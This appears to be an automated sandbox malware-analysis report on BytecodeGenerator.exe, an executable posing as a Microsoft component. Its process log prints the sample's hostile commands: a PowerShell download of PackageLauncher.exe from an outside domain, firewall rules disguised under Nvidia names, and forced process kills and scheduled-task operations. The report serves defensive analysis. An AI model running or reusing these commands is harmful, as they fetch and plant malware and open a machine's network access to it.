File name:

BytecodeGenerator.exe

Full analysis: https://app.any.run/tasks/813d8b30-7342-4139-820d-55470b94bee9
Verdict: Malicious activity
Analysis date: July 13, 2018, 22:35:19
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:

ED8C9C8AC8994F1B69EA4DE0F8FB052C

SHA1:

8B0CF6BA7BFDBB85912CF561458E91957D67DFAB

SHA256:

DB5CFCC37DC9466ED64FA604DFE78CDA6FD860D9944656DE64A2E9B6F2B44EA1

SSDEEP:

6144:tQWiZSsKkJ8SyFBS7y2I0KxjBtkAUs4K+AAeWj:qW+KkJ8SyFowZ2RbkWj

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Changes settings of System certificates

      • powershell.exe (PID: 1832)

    • Uses Task Scheduler to run other applications

      • cmd.exe (PID: 2280)
      • cmd.exe (PID: 2188)

    • Loads the Task Scheduler COM API

      • schtasks.exe (PID: 2420)
      • schtasks.exe (PID: 2756)

    • Executes PowerShell scripts

      • cmd.exe (PID: 3844)
      • cmd.exe (PID: 3344)
      • cmd.exe (PID: 3580)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • vbc.exe (PID: 2568)

    • Executes scripts

      • BytecodeGenerator.exe (PID: 676)

    • Uses NETSH.EXE for network configuration

      • cmd.exe (PID: 1584)
      • cmd.exe (PID: 2828)
      • cmd.exe (PID: 2588)
      • cmd.exe (PID: 4008)

    • Uses TASKKILL.EXE to kill process

      • cmd.exe (PID: 2940)
      • cmd.exe (PID: 2916)
      • cmd.exe (PID: 544)

  • INFO

    • Dropped object may contain URL's

      • powershell.exe (PID: 3632)
      • powershell.exe (PID: 1832)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Generic CIL Executable (.NET, Mono, etc.) (82.9)
.dll | Win32 Dynamic Link Library (generic) (7.4)
.exe | Win32 Executable (generic) (5.1)
.exe | Generic Win/DOS Executable (2.2)
.exe | DOS Executable Generic (2.2)

EXIF

EXE

ProductVersion: 10.0.15063.0
ProductName: Microsoft® Windows® Operating System
OriginalFileName: BytecodeGenerator.exe
LegalCopyright: © Microsoft Corporation. All rights reserved.
InternalName: BytecodeGenerator.exe
FileVersion: 10.0.15063.0 (WinBuild.160101.0800)
FileDescription: AppX Deployment Bytecode Generator EXE
CompanyName: Microsoft Corporation
CharacterSet: Unicode
LanguageCode: English (U.S.)
FileSubtype: -
ObjectFileType: Dynamic link library
FileOS: Windows NT 32-bit
FileFlags: (none)
FileFlagsMask: 0x003f
ProductVersionNumber: 10.0.15063.0
FileVersionNumber: 10.0.15063.0
Subsystem: Windows GUI
SubsystemVersion: 4
ImageVersion: -
OSVersion: 4
EntryPoint: 0x39bbe
UninitializedDataSize: -
InitializedDataSize: 2560
CodeSize: 228352
LinkerVersion: 48
PEType: PE32
TimeStamp: 2017:12:03 00:22:37+01:00
MachineType: Intel 386 or later, and compatibles

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 02-Dec-2017 23:22:37
Detected languages:
  • English - United States
CompanyName: Microsoft Corporation
FileDescription: AppX Deployment Bytecode Generator EXE
FileVersion: 10.0.15063.0 (WinBuild.160101.0800)
InternalName: BytecodeGenerator.exe
LegalCopyright: © Microsoft Corporation. All rights reserved.
OriginalFilename: BytecodeGenerator.exe
ProductName: Microsoft® Windows® Operating System
ProductVersion: 10.0.15063.0

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x00000080

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 3
Time date stamp: 02-Dec-2017 23:22:37
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00002000
0x00037BC4
0x00037C00
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
7.9324
.rsrc
0x0003A000
0x00000670
0x00000800
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
4.61903
.reloc
0x0003C000
0x0000000C
0x00000200
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
0.10191

Resources

Title
Entropy
Size
Codepage
Language
Type
1
5.00112
490
Latin 1 / Western European
UNKNOWN
RT_MANIFEST

Imports

mscoree.dll
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
62
Monitored processes
28
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start bytecodegenerator.exe no specs vbc.exe no specs cmd.exe no specs taskkill.exe no specs cmd.exe no specs taskkill.exe no specs cmd.exe no specs taskkill.exe no specs cmd.exe no specs cmd.exe no specs powershell.exe no specs cmd.exe no specs powershell.exe no specs cmd.exe no specs schtasks.exe no specs cmd.exe no specs powershell.exe cmd.exe no specs netsh.exe no specs cmd.exe no specs netsh.exe no specs cmd.exe no specs netsh.exe no specs cmd.exe no specs netsh.exe no specs cmd.exe no specs schtasks.exe no specs cmd.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
544C:\Windows\system32\cmd.exe /c taskkill /f /im "PackageLauncher"C:\Windows\system32\cmd.exe—vbc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
128
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
676"C:\Users\admin\AppData\Local\Temp\BytecodeGenerator.exe" C:\Users\admin\AppData\Local\Temp\BytecodeGenerator.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
AppX Deployment Bytecode Generator EXE
Exit code:
0
Version:
10.0.15063.0 (WinBuild.160101.0800)
Modules
Images
c:\users\admin\appdata\local\temp\bytecodegenerator.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
716netsh advfirewall firewall add rule name="NvidiaPackageLauncher" dir=out action=allow protocol=UDP localport=4009C:\Windows\system32\netsh.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Network Command Shell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\netsh.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\credui.dll
c:\windows\system32\user32.dll
1024taskkill /f /im "PackageLauncher"C:\Windows\system32\taskkill.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\taskkill.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\version.dll
c:\windows\system32\user32.dll
1084taskkill /f /im "PackageLauncher"C:\Windows\system32\taskkill.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\taskkill.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\version.dll
c:\windows\system32\user32.dll
1584C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="NvidiaPackageLauncher" dir=out action=allow protocol=UDP localport=4009C:\Windows\system32\cmd.exe—vbc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1832taskkill /f /im "PackageLauncher"C:\Windows\system32\taskkill.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\taskkill.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\version.dll
c:\windows\system32\user32.dll
1832powershell Invoke-WebRequest -Uri "https://oilbaronadam.me/PackageLauncher.exe" -OutFile "C:\ProgramData\PackageLauncher.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.10586.117 (th2_release.160212-2359)
Modules
Images
c:\windows\system32\wbem\fastprox.dll
c:\windows\system32\rpcrtremote.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\wbem\wbemprox.dll
c:\windows\system32\cryptbase.dll
c:\windows\system32\imm32.dll
c:\windows\system32\dbghelp.dll
c:\windows\system32\srvcli.dll
c:\windows\system32\netapi32.dll
2184netsh advfirewall firewall add rule name="NvidiaPackageUpdater" dir=out action=allow protocol=TCP localport=4009C:\Windows\system32\netsh.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Network Command Shell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\netsh.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\credui.dll
c:\windows\system32\user32.dll
2188C:\Windows\system32\cmd.exe /c schtasks /Delete /tn "NvidiaPackage" /fC:\Windows\system32\cmd.exe—vbc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
Total events
483
Read events
278
Write events
205
Delete events
0

Modification events

(PID) Process:(3632) powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(3632) powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(1832) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(1832) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(1832) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileTracingMask
Value:
4294901760
(PID) Process:(1832) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
4294901760
(PID) Process:(1832) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(1832) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
(PID) Process:(1832) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(1832) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableConsoleTracing
Value:
0
Executable files
0
Suspicious files
35
Text files
0
Unknown types
1

Dropped files

PID
Process
Filename
Type
3632powershell.exeC:\Users\admin\AppData\Local\Temp\vasrl1nu.jwo.ps1 —
MD5:—
SHA256:—
3632powershell.exeC:\Users\admin\AppData\Local\Temp\nomre3xt.lcw.psm1 —
MD5:—
SHA256:—
3632powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_48ff8b4d-7bcc-481f-b0f4-5b9d6ef76343binary
MD5:—
SHA256:—
3632powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d0597451-e0f3-401a-8dec-347b89fef11dbinary
MD5:—
SHA256:—
3532powershell.exeC:\Users\admin\AppData\Local\Temp\k4alusql.4f3.ps1 —
MD5:—
SHA256:—
3532powershell.exeC:\Users\admin\AppData\Local\Temp\40pkyatj.jib.psm1 —
MD5:—
SHA256:—
1832powershell.exeC:\Users\admin\AppData\Local\Temp\5bah43hb.5cv.ps1 —
MD5:—
SHA256:—
1832powershell.exeC:\Users\admin\AppData\Local\Temp\heyw20sl.ehu.psm1 —
MD5:—
SHA256:—
3632powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndexbinary
MD5:—
SHA256:—
3632powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_37679f4a-9ff0-40d2-ac45-d951b826c08dbinary
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
2
DNS requests
2
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1832
powershell.exe
GET
200
151.101.2.133:80
http://secure.globalsign.com/cacert/gsdomainvalsha2g2r1.crt
US
der
1.10 Kb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1832
powershell.exe
151.101.2.133:80
secure.globalsign.com
Fastly
US
malicious
1832
powershell.exe
72.52.4.119:443
oilbaronadam.me
Akamai Technologies, Inc.
US
whitelisted

DNS requests

Domain
IP
Reputation
oilbaronadam.me
  • 72.52.4.119
malicious
secure.globalsign.com
  • 151.101.2.133
  • 151.101.66.133
  • 151.101.130.133
  • 151.101.194.133
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
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ANY.RUN
Reports
BytecodeGenerator.exe